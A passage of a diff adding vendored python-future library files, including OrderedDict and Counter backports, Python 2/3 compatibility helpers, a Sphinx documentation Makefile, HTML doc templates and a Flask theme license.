+        for k in self:
+            yield self[k]
+
+    def iteritems(self):
+        'od.iteritems -> an iterator over the (key, value) items in od'
+        for k in self:
+            yield (k, self[k])
+
+    def update(*args, **kwds):
+        '''od.update(E, **F) -> None.  Update od from dict/iterable E and F.
+
+        If E is a dict instance, does:        for k in E: od[k] = E[k]
+        If E has a .keys() method, does:      for k in E.keys(): od[k] = E[k]
+        Or if E is an iterable of items, does:for k, v in E: od[k] = v
+        In either case, this is followed by:  for k, v in F.items(): od[k] = v
+        '''
+        if len(args) > 2:
+            raise TypeError('update() takes at most 2 positional '
+                            'arguments (%d given)' % (len(args),))
+        elif not args:
+            raise TypeError('update() takes at least 1 argument (0 given)')
+        self = args[0]
+        # Make progressively weaker assumptions about "other"
+        other = ()
+        if len(args) == 2:
+            other = args[1]
+        if isinstance(other, dict):
+            for key in other:
+                self[key] = other[key]
+        elif hasattr(other, 'keys'):
+            for key in other.keys():
+                self[key] = other[key]
+        else:
+            for key, value in other:
+                self[key] = value
+        for key, value in kwds.items():
+            self[key] = value
+    # let subclasses override update without breaking __init__
+    __update = update
+
+    __marker = object()
+
+    def pop(self, key, default=__marker):
+        '''od.pop(k[,d]) -> v, remove specified key and return the\
+        corresponding value.  If key is not found, d is returned if given,
+        otherwise KeyError is raised.
+        '''
+        if key in self:
+            result = self[key]
+            del self[key]
+            return result
+        if default is self.__marker:
+            raise KeyError(key)
+        return default
+
+    def setdefault(self, key, default=None):
+        'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od'
+        if key in self:
+            return self[key]
+        self[key] = default
+        return default
+
+    def __repr__(self, _repr_running={}):
+        'od.__repr__() <==> repr(od)'
+        call_key = id(self), _get_ident()
+        if call_key in _repr_running:
+            return '...'
+        _repr_running[call_key] = 1
+        try:
+            if not self:
+                return '%s()' % (self.__class__.__name__,)
+            return '%s(%r)' % (self.__class__.__name__, list(self.items()))
+        finally:
+            del _repr_running[call_key]
+
+    def __reduce__(self):
+        'Return state information for pickling'
+        items = [[k, self[k]] for k in self]
+        inst_dict = vars(self).copy()
+        for k in vars(OrderedDict()):
+            inst_dict.pop(k, None)
+        if inst_dict:
+            return (self.__class__, (items,), inst_dict)
+        return self.__class__, (items,)
+
+    def copy(self):
+        'od.copy() -> a shallow copy of od'
+        return self.__class__(self)
+
+    @classmethod
+    def fromkeys(cls, iterable, value=None):
+        '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S and
+        values equal to v (which defaults to None).
+        '''
+        d = cls()
+        for key in iterable:
+            d[key] = value
+        return d
+
+    def __eq__(self, other):
+        '''od.__eq__(y) <==> od==y.  Comparison to another OD is
+        order-sensitive while comparison to a regular mapping is
+        order-insensitive.
+        '''
+        if isinstance(other, OrderedDict):
+            return (len(self) == len(other) and
+                    list(self.items()) == list(other.items()))
+        return dict.__eq__(self, other)
+
+    def __ne__(self, other):
+        return not self == other
+
+    # -- the following methods are only used in Python 2.7 --
+
+    def viewkeys(self):
+        "od.viewkeys() -> a set-like object providing a view on od's keys"
+        return KeysView(self)
+
+    def viewvalues(self):
+        "od.viewvalues() -> an object providing a view on od's values"
+        return ValuesView(self)
+
+    def viewitems(self):
+        "od.viewitems() -> a set-like object providing a view on od's items"
+        return ItemsView(self)
+
+
+# {{{ http://code.activestate.com/recipes/576611/ (r11)
+
+try:
+    from operator import itemgetter
+    from heapq import nlargest
+except ImportError:
+    pass
+
+
+class _Counter(dict):
+
+    '''Dict subclass for counting hashable objects.  Sometimes called a bag
+    or multiset.  Elements are stored as dictionary keys and their counts
+    are stored as dictionary values.
+
+    >>> Counter('zyzygy')
+    Counter({'y': 3, 'z': 2, 'g': 1})
+
+    '''
+
+    def __init__(self, iterable=None, **kwds):
+        '''Create a new, empty Counter object.  And if given, count elements
+        from an input iterable.  Or, initialize the count from another mapping
+        of elements to their counts.
+
+        >>> c = Counter()                    # a new, empty counter
+        >>> c = Counter('gallahad')          # a new counter from an iterable
+        >>> c = Counter({'a': 4, 'b': 2})    # a new counter from a mapping
+        >>> c = Counter(a=4, b=2)            # a new counter from keyword args
+
+        '''
+        self.update(iterable, **kwds)
+
+    def __missing__(self, key):
+        return 0
+
+    def most_common(self, n=None):
+        '''List the n most common elements and their counts from the most
+        common to the least.  If n is None, then list all element counts.
+
+        >>> Counter('abracadabra').most_common(3)
+        [('a', 5), ('r', 2), ('b', 2)]
+
+        '''
+        if n is None:
+            return sorted(iteritems(self), key=itemgetter(1), reverse=True)
+        return nlargest(n, iteritems(self), key=itemgetter(1))
+
+    def elements(self):
+        '''Iterator over elements repeating each as many times as its count.
+
+        >>> c = Counter('ABCABC')
+        >>> sorted(c.elements())
+        ['A', 'A', 'B', 'B', 'C', 'C']
+
+        If an element's count has been set to zero or is a negative number,
+        elements() will ignore it.
+
+        '''
+        for elem, count in iteritems(self):
+            for _ in range(count):
+                yield elem
+
+    # Override dict methods where the meaning changes for Counter objects.
+
+    @classmethod
+    def fromkeys(cls, iterable, v=None):
+        raise NotImplementedError(
+            'Counter.fromkeys() is undefined.  Use Counter(iterable) instead.')
+
+    def update(self, iterable=None, **kwds):
+        '''Like dict.update() but add counts instead of replacing them.
+
+        Source can be an iterable, a dictionary, or another Counter instance.
+
+        >>> c = Counter('which')
+        >>> c.update('witch')           # add elements from another iterable
+        >>> d = Counter('watch')
+        >>> c.update(d)                 # add elements from another counter
+        >>> c['h']                      # four 'h' in which, witch, and watch
+        4
+
+        '''
+        if iterable is not None:
+            if hasattr(iterable, 'iteritems'):
+                if self:
+                    self_get = self.get
+                    for elem, count in iteritems(iterable):
+                        self[elem] = self_get(elem, 0) + count
+                else:
+                    dict.update(
+                        self, iterable)  # fast path when counter is empty
+            else:
+                self_get = self.get
+                for elem in iterable:
+                    self[elem] = self_get(elem, 0) + 1
+        if kwds:
+            self.update(kwds)
+
+    def copy(self):
+        'Like dict.copy() but returns a Counter instance instead of a dict.'
+        return Counter(self)
+
+    def __delitem__(self, elem):
+        '''Like dict.__delitem__() but does not raise KeyError for missing
+        values.'''
+        if elem in self:
+            dict.__delitem__(self, elem)
+
+    def __repr__(self):
+        if not self:
+            return '%s()' % self.__class__.__name__
+        items = ', '.join(map('%r: %r'.__mod__, self.most_common()))
+        return '%s({%s})' % (self.__class__.__name__, items)
+
+    # Multiset-style mathematical operations discussed in:
+    #       Knuth TAOCP Volume II section 4.6.3 exercise 19
+    #       and at http://en.wikipedia.org/wiki/Multiset
+    #
+    # Outputs guaranteed to only include positive counts.
+    #
+    # To strip negative and zero counts, add-in an empty counter:
+    #       c += Counter()
+
+    def __add__(self, other):
+        '''Add counts from two counters.
+
+        >>> Counter('abbb') + Counter('bcc')
+        Counter({'b': 4, 'c': 2, 'a': 1})
+
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = self[elem] + other[elem]
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __sub__(self, other):
+        ''' Subtract count, but keep only results with positive counts.
+
+        >>> Counter('abbbc') - Counter('bccd')
+        Counter({'b': 2, 'a': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = self[elem] - other[elem]
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __or__(self, other):
+        '''Union is the maximum of value in either of the input counters.
+
+        >>> Counter('abbb') | Counter('bcc')
+        Counter({'b': 3, 'c': 2, 'a': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        _max = max
+        result = Counter()
+        for elem in set(self) | set(other):
+            newcount = _max(self[elem], other[elem])
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+    def __and__(self, other):
+        ''' Intersection is the minimum of corresponding counts.
+
+        >>> Counter('abbb') & Counter('bcc')
+        Counter({'b': 1})
+
+        '''
+        if not isinstance(other, Counter):
+            return NotImplemented
+        _min = min
+        result = Counter()
+        if len(self) < len(other):
+            self, other = other, self
+        for elem in filter(self.__contains__, other):
+            newcount = _min(self[elem], other[elem])
+            if newcount > 0:
+                result[elem] = newcount
+        return result
+
+if sys.version_info[:2] < (2, 7):
+    OrderedDict = _OrderedDict
+    Counter = _Counter
+else:
+    from collections import OrderedDict, Counter
+
+# http://stackoverflow.com/questions/4126348
+# Thanks to @martineau at SO
+
+from dateutil import parser as _date_parser
+import dateutil
+if LooseVersion(dateutil.__version__) < '2.0':
+    @functools.wraps(_date_parser.parse)
+    def parse_date(timestr, *args, **kwargs):
+        timestr = bytes(timestr)
+        return _date_parser.parse(timestr, *args, **kwargs)
+else:
+    parse_date = _date_parser.parse
+
+class OrderedDefaultdict(OrderedDict):
+
+    def __init__(self, *args, **kwargs):
+        newdefault = None
+        newargs = ()
+        if args:
+            newdefault = args[0]
+            if not (newdefault is None or callable(newdefault)):
+                raise TypeError('first argument must be callable or None')
+            newargs = args[1:]
+        self.default_factory = newdefault
+        super(self.__class__, self).__init__(*newargs, **kwargs)
+
+    def __missing__(self, key):
+        if self.default_factory is None:
+            raise KeyError(key)
+        self[key] = value = self.default_factory()
+        return value
+
+    def __reduce__(self):  # optional, for pickle support
+        args = self.default_factory if self.default_factory else tuple()
+        return type(self), args, None, None, list(self.items())

+ 107 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/pycrypto_py3compat.py

@@ -0,0 +1,107 @@
+# -*- coding: utf-8 -*-
+#
+#  Util/py3compat.py : Compatibility code for handling Py3k / Python 2.x
+#
+# Written in 2010 by Thorsten Behrens
+#
+# ===================================================================
+# The contents of this file are dedicated to the public domain.  To
+# the extent that dedication to the public domain is not available,
+# everyone is granted a worldwide, perpetual, royalty-free,
+# non-exclusive license to exercise all rights associated with the
+# contents of this file for any purpose whatsoever.
+# No rights are reserved.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+# ===================================================================
+
+"""Compatibility code for handling string/bytes changes from Python 2.x to Py3k
+
+In Python 2.x, strings (of type ''str'') contain binary data, including encoded
+Unicode text (e.g. UTF-8).  The separate type ''unicode'' holds Unicode text.
+Unicode literals are specified via the u'...' prefix.  Indexing or slicing
+either type always produces a string of the same type as the original.
+Data read from a file is always of '''str'' type.
+
+In Python 3.x, strings (type ''str'') may only contain Unicode text. The u'...'
+prefix and the ''unicode'' type are now redundant.  A new type (called
+''bytes'') has to be used for binary data (including any particular
+''encoding'' of a string).  The b'...' prefix allows one to specify a binary
+literal.  Indexing or slicing a string produces another string.  Slicing a byte
+string produces another byte string, but the indexing operation produces an
+integer.  Data read from a file is of '''str'' type if the file was opened in
+text mode, or of ''bytes'' type otherwise.
+
+Since PyCrypto aims at supporting both Python 2.x and 3.x, the following helper
+functions are used to keep the rest of the library as independent as possible
+from the actual Python version.
+
+In general, the code should always deal with binary strings, and use integers
+instead of 1-byte character strings.
+
+b(s)
+    Take a text string literal (with no prefix or with u'...' prefix) and
+    make a byte string.
+bchr(c)
+    Take an integer and make a 1-character byte string.
+bord(c)
+    Take the result of indexing on a byte string and make an integer.
+tobytes(s)
+    Take a text string, a byte string, or a sequence of character taken from
+    a byte string and make a byte string.
+"""
+
+__revision__ = "$Id$"
+
+import sys
+
+if sys.version_info[0] == 2:
+    def b(s):
+        return s
+    def bchr(s):
+        return chr(s)
+    def bstr(s):
+        return str(s)
+    def bord(s):
+        return ord(s)
+    if sys.version_info[1] == 1:
+        def tobytes(s):
+            try:
+                return s.encode('latin-1')
+            except:
+                return ''.join(s)
+    else:
+        def tobytes(s):
+            if isinstance(s, unicode):
+                return s.encode("latin-1")
+            else:
+                return ''.join(s)
+else:
+    def b(s):
+       return s.encode("latin-1") # utf-8 would cause some side-effects we don't want
+    def bchr(s):
+        return bytes([s])
+    def bstr(s):
+        if isinstance(s,str):
+            return bytes(s,"latin-1")
+        else:
+            return bytes(s)
+    def bord(s):
+        return s
+    def tobytes(s):
+        if isinstance(s,bytes):
+            return s
+        else:
+            if isinstance(s,str):
+                return s.encode("latin-1")
+            else:
+                return bytes(s)
+
+# vim:set ts=4 sw=4 sts=4 expandtab:

+ 69 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/statsmodels_py3k.py

@@ -0,0 +1,69 @@
+"""
+Python 3 compatibility tools.
+
+"""
+
+__all__ = ['bytes', 'asbytes', 'isfileobj', 'getexception', 'strchar',
+           'unicode', 'asunicode', 'asbytes_nested', 'asunicode_nested',
+           'asstr', 'open_latin1']
+
+import sys
+
+if sys.version_info[0] >= 3:
+    import io
+    bytes = bytes
+    unicode = str
+    asunicode = str
+    def asbytes(s):
+        if isinstance(s, bytes):
+            return s
+        return s.encode('latin1')
+    def asstr(s):
+        if isinstance(s, str):
+            return s
+        return s.decode('latin1')
+    def asstr2(s):  #added JP, not in numpy version
+        if isinstance(s, str):
+            return s
+        elif isinstance(s, bytes):
+            return s.decode('latin1')
+        else:
+            return str(s)
+    def isfileobj(f):
+        return isinstance(f, io.FileIO)
+    def open_latin1(filename, mode='r'):
+        return open(filename, mode=mode, encoding='iso-8859-1')
+    strchar = 'U'
+    from io import BytesIO, StringIO  #statsmodels
+else:
+    bytes = str
+    unicode = unicode
+    asbytes = str
+    asstr = str
+    asstr2 = str
+    strchar = 'S'
+    def isfileobj(f):
+        return isinstance(f, file)
+    def asunicode(s):
+        if isinstance(s, unicode):
+            return s
+        return s.decode('ascii')
+    def open_latin1(filename, mode='r'):
+        return open(filename, mode=mode)
+    from StringIO import StringIO
+    BytesIO = StringIO
+
+def getexception():
+    return sys.exc_info()[1]
+
+def asbytes_nested(x):
+    if hasattr(x, '__iter__') and not isinstance(x, (bytes, unicode)):
+        return [asbytes_nested(y) for y in x]
+    else:
+        return asbytes(x)
+
+def asunicode_nested(x):
+    if hasattr(x, '__iter__') and not isinstance(x, (bytes, unicode)):
+        return [asunicode_nested(y) for y in x]
+    else:
+        return asunicode(x)

+ 153 - 0
desktop/core/ext-py/future-0.16.0/docs/Makefile

@@ -0,0 +1,153 @@
+# Makefile for Sphinx documentation
+#
+
+# You can set these variables from the command line.
+SPHINXOPTS    =
+SPHINXBUILD   = sphinx-build
+PAPER         =
+BUILDDIR      = build
+
+# Internal variables.
+PAPEROPT_a4     = -D latex_paper_size=a4
+PAPEROPT_letter = -D latex_paper_size=letter
+ALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
+# the i18n builder cannot share the environment and doctrees with the others
+I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
+
+.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext
+
+help:
+	@echo "Please use \`make <target>' where <target> is one of"
+	@echo "  html       to make standalone HTML files"
+	@echo "  dirhtml    to make HTML files named index.html in directories"
+	@echo "  singlehtml to make a single large HTML file"
+	@echo "  pickle     to make pickle files"
+	@echo "  json       to make JSON files"
+	@echo "  htmlhelp   to make HTML files and a HTML help project"
+	@echo "  qthelp     to make HTML files and a qthelp project"
+	@echo "  devhelp    to make HTML files and a Devhelp project"
+	@echo "  epub       to make an epub"
+	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
+	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
+	@echo "  text       to make text files"
+	@echo "  man        to make manual pages"
+	@echo "  texinfo    to make Texinfo files"
+	@echo "  info       to make Texinfo files and run them through makeinfo"
+	@echo "  gettext    to make PO message catalogs"
+	@echo "  changes    to make an overview of all changed/added/deprecated items"
+	@echo "  linkcheck  to check all external links for integrity"
+	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
+
+clean:
+	-rm -rf $(BUILDDIR)/*
+
+html:
+	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
+
+dirhtml:
+	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
+
+singlehtml:
+	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
+	@echo
+	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
+
+pickle:
+	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
+	@echo
+	@echo "Build finished; now you can process the pickle files."
+
+json:
+	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
+	@echo
+	@echo "Build finished; now you can process the JSON files."
+
+htmlhelp:
+	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
+	@echo
+	@echo "Build finished; now you can run HTML Help Workshop with the" \
+	      ".hhp project file in $(BUILDDIR)/htmlhelp."
+
+qthelp:
+	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
+	@echo
+	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
+	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
+	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Python-Future.qhcp"
+	@echo "To view the help file:"
+	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Python-Future.qhc"
+
+devhelp:
+	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
+	@echo
+	@echo "Build finished."
+	@echo "To view the help file:"
+	@echo "# mkdir -p $$HOME/.local/share/devhelp/Python-Future"
+	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Python-Future"
+	@echo "# devhelp"
+
+epub:
+	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
+	@echo
+	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
+
+latex:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo
+	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
+	@echo "Run \`make' in that directory to run these through (pdf)latex" \
+	      "(use \`make latexpdf' here to do that automatically)."
+
+latexpdf:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo "Running LaTeX files through pdflatex..."
+	$(MAKE) -C $(BUILDDIR)/latex all-pdf
+	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
+
+text:
+	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
+	@echo
+	@echo "Build finished. The text files are in $(BUILDDIR)/text."
+
+man:
+	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
+	@echo
+	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
+
+texinfo:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo
+	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
+	@echo "Run \`make' in that directory to run these through makeinfo" \
+	      "(use \`make info' here to do that automatically)."
+
+info:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo "Running Texinfo files through makeinfo..."
+	make -C $(BUILDDIR)/texinfo info
+	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
+
+gettext:
+	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
+	@echo
+	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
+
+changes:
+	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
+	@echo
+	@echo "The overview file is in $(BUILDDIR)/changes."
+
+linkcheck:
+	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
+	@echo
+	@echo "Link check complete; look for any errors in the above output " \
+	      "or in $(BUILDDIR)/linkcheck/output.txt."
+
+doctest:
+	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
+	@echo "Testing of doctests in the sources finished, look at the " \
+	      "results in $(BUILDDIR)/doctest/output.txt."

BIN
desktop/core/ext-py/future-0.16.0/docs/_static/python-future-icon-32.ico


BIN
desktop/core/ext-py/future-0.16.0/docs/_static/python-future-icon-white-32.ico


BIN
desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo-textless-transparent.png


BIN
desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo.png


BIN
desktop/core/ext-py/future-0.16.0/docs/_static/python-future-logo.tiff


+ 33 - 0
desktop/core/ext-py/future-0.16.0/docs/_templates/layout.html

@@ -0,0 +1,33 @@
+{# Import the theme's layout. #}
+{% extends "!layout.html" %}
+
+{% block extrahead %}
+{{ super() }}
+<script type="text/javascript">
+  var _gaq = _gaq || [];
+  _gaq.push(['_setAccount', 'UA-19344199-2']);
+  _gaq.push(['_trackPageview']);
+</script>
+{% endblock %}
+
+{% block footer %}
+{{ super() }}
+<div class="footer">
+<script type="text/javascript">
+  (function() {
+    var ga = document.createElement('script');
+    ga.src = ('https:' == document.location.protocol ?
+              'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+    ga.setAttribute('async', 'true');
+    document.documentElement.firstChild.appendChild(ga);
+  })();
+</script>
+</div>
+{% endblock %}
+
+
+{# Import the theme's layout. #}
+
+
+{# Include our new CSS file into existing ones. #}
+{% set css_files = css_files + ['_static/my-styles.css'] %}

+ 57 - 0
desktop/core/ext-py/future-0.16.0/docs/_templates/navbar.html

@@ -0,0 +1,57 @@
+<a href="https://github.com/PythonCharmers/python-future"><img style="position: absolute; top: 45px; right: 0; border: 0;" src="https://s3.amazonaws.com/github/ribbons/forkme_right_orange_ff7600.png" alt="Fork me on GitHub"></a>
+<div id="navbar" class="{{ theme_navbar_class }} navbar-default {% if theme_navbar_fixed_top == 'true' -%} navbar-fixed-top{%- endif -%}">
+
+    <div class="container">
+
+      <div class="navbar-header">
+
+        <!-- .btn-navbar is used as the toggle for collapsed navbar content -->
+        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".nav-collapse">
+          <span class="icon-bar"></span>
+          <span class="icon-bar"></span>
+          <span class="icon-bar"></span>
+        </button>
+
+        <a class="logo"> <img height="32" width="32" src="_static/python-future-logo-textless-transparent.png" /></a>
+        <a class="navbar-brand" href="{{ pathto(master_doc) }}">{% if theme_navbar_title -%}{{ theme_navbar_title|e }}{%- else -%}{{ project|e }}{%- endif -%}</a>
+        <span class="navbar-text navbar-version pull-left"><b>{{ version|e }}</b></span>
+      </div>
+        <div class="collapse navbar-collapse nav-collapse">
+          <ul class="nav navbar-nav">
+            <li class="divider-vertical"></li>
+            {% if theme_navbar_links %}
+              {%- for link in theme_navbar_links %}
+                <li><a href="{{ pathto(*link[1:]) }}">{{ link[0] }}</a></li>
+              {%- endfor %}
+            {% endif %}
+            {% block navbartoc %}
+              {% include "globaltoc.html" %}
+              {% if theme_navbar_pagenav %}
+                {% include "navbartoc.html" %}
+              {% endif %}
+            {% endblock %}
+            {% if theme_navbar_sidebarrel %}
+              {% block sidebarrel %}
+                {% include "relations.html" %}
+              {% endblock %}
+            {% endif %}
+            {% block navbarextra %}
+            {% endblock %}
+            {% if theme_source_link_position == "nav" %}
+
+              <li>{%- if show_source and has_source and sourcename %}
+                <a href="{{ pathto('_sources/' + sourcename, true)|e }}"
+                   rel="nofollow">{{ _('Source') }}</a>
+                {%- endif %}
+              </li>
+
+            {% endif %}
+          </ul>
+
+          {% block navbarsearch %}
+            {% include "navbarsearchbox.html" %}
+          {% endblock %}
+
+        </div>
+    </div>
+  </div>

+ 21 - 0
desktop/core/ext-py/future-0.16.0/docs/_templates/sidebarintro.html

@@ -0,0 +1,21 @@
+<!--<h3>Python-Future</h3>
+<p>-->
+  <h4>Easy, clean, reliable Python 2/3 compatibility</h4>
+  <a href="http://python-future.org">Table of Contents</a>
+<!--
+</p>
+<h3>Other Formats</h3>
+<p>
+  You can download the documentation in other formats as well:
+</p>
+<ul>
+  <li><a href="http://jinja.pocoo.org/docs/jinja-docs.pdf">as PDF</a>
+  <li><a href="http://jinja.pocoo.org/docs/jinja-docs.zip">as zipped HTML</a>
+</ul>
+-->
+<!--<h3>Useful Links</h3>
+<ul>
+  <li><a href="http://pypi.python.org/pypi/future">on PyPI</a></li>
+  <li><a href="https://github.com/PythonCharmers/python-future">on GitHub</a></li>
+</ul>
+-->

+ 3 - 0
desktop/core/ext-py/future-0.16.0/docs/_templates/sidebarlogo.html

@@ -0,0 +1,3 @@
+<p class="logo"><a href="{{ pathto(master_doc) }}">
+  <img class="logo" src="{{ pathto('_static/python-future-logo.png', 1) }}" width="150" alt="Logo"/>
+</a></p>

+ 1 - 0
desktop/core/ext-py/future-0.16.0/docs/_templates/sidebartoc.html

@@ -0,0 +1 @@
+{{ toctree(maxdepth=theme_globaltoc_depth|toint, collapse=True, includehidden=theme_globaltoc_includehidden|tobool) }}

+ 37 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/LICENSE

@@ -0,0 +1,37 @@
+Copyright (c) 2010 by Armin Ronacher.
+
+Some rights reserved.
+
+Redistribution and use in source and binary forms of the theme, with or
+without modification, are permitted provided that the following conditions
+are met:
+
+* Redistributions of source code must retain the above copyright
+  notice, this list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above
+  copyright notice, this list of conditions and the following
+  disclaimer in the documentation and/or other materials provided
+  with the distribution.
+
+* The names of the contributors may not be used to endorse or
+  promote products derived from this software without specific
+  prior written permission.
+
+We kindly ask you to only use these themes in an unmodified manner just
+for Flask and Flask-related products, not for unrelated projects.  If you
+like the visual style and want to use it for your own projects, please
+consider making some larger changes to the themes (such as changing
+font faces, sizes, colors or margins).
+
+THIS THEME IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS THEME, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.

+ 31 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/README

@@ -0,0 +1,31 @@
+Flask Sphinx Styles
+===================
+
+This repository contains sphinx styles for Flask and Flask related
+projects.  To use this style in your Sphinx documentation, follow
+this guide:
+
+1. put this folder as _themes into your docs folder.  Alternatively
+   you can also use git submodules to check out the contents there.
+2. add this to your conf.py:
+
+   sys.path.append(os.path.abspath('_themes'))
+   html_theme_path = ['_themes']
+   html_theme = 'flask'
+
+The following themes exist:
+
+- 'flask' - the standard flask documentation theme for large
+  projects
+- 'flask_small' - small one-page theme.  Intended to be used by
+  very small addon libraries for flask.
+
+The following options exist for the flask_small theme:
+
+   [options]
+   index_logo = ''              filename of a picture in _static
+                                to be used as replacement for the
+                                h1 in the index.rst file.
+   index_logo_height = 120px    height of the index logo
+   github_fork = ''             repository name on github for the
+                                "fork me" badge

+ 8 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/future/layout.html

@@ -0,0 +1,8 @@
+{%- extends "basic/layout.html" %}
+{%- block relbar2 %}{% endblock %}
+{%- block footer %}
+    <div class="footer">
+      &copy; Copyright {{ copyright }}.
+      Docs created using <a href="http://sphinx.pocoo.org/">Sphinx</a>.
+    </div>
+{%- endblock %}

+ 19 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/future/relations.html

@@ -0,0 +1,19 @@
+<h3>Related Topics</h3>
+<ul>
+  <li><a href="{{ pathto(master_doc) }}">Documentation overview</a><ul>
+  {%- for parent in parents %}
+  <li><a href="{{ parent.link|e }}">{{ parent.title }}</a><ul>
+  {%- endfor %}
+    {%- if prev %}
+      <li>Previous: <a href="{{ prev.link|e }}" title="{{ _('previous chapter')
+        }}">{{ prev.title }}</a></li>
+    {%- endif %}
+    {%- if next %}
+      <li>Next: <a href="{{ next.link|e }}" title="{{ _('next chapter')
+        }}">{{ next.title }}</a></li>
+    {%- endif %}
+  {%- for parent in parents %}
+  </ul></li>
+  {%- endfor %}
+  </ul></li>
+</ul>

+ 398 - 0
desktop/core/ext-py/future-0.16.0/docs/_themes/future/static/future.css_t

@@ -0,0 +1,398 @@
+/*
+ * future.css_t
+ * ~~~~~~~~~~~
+ *
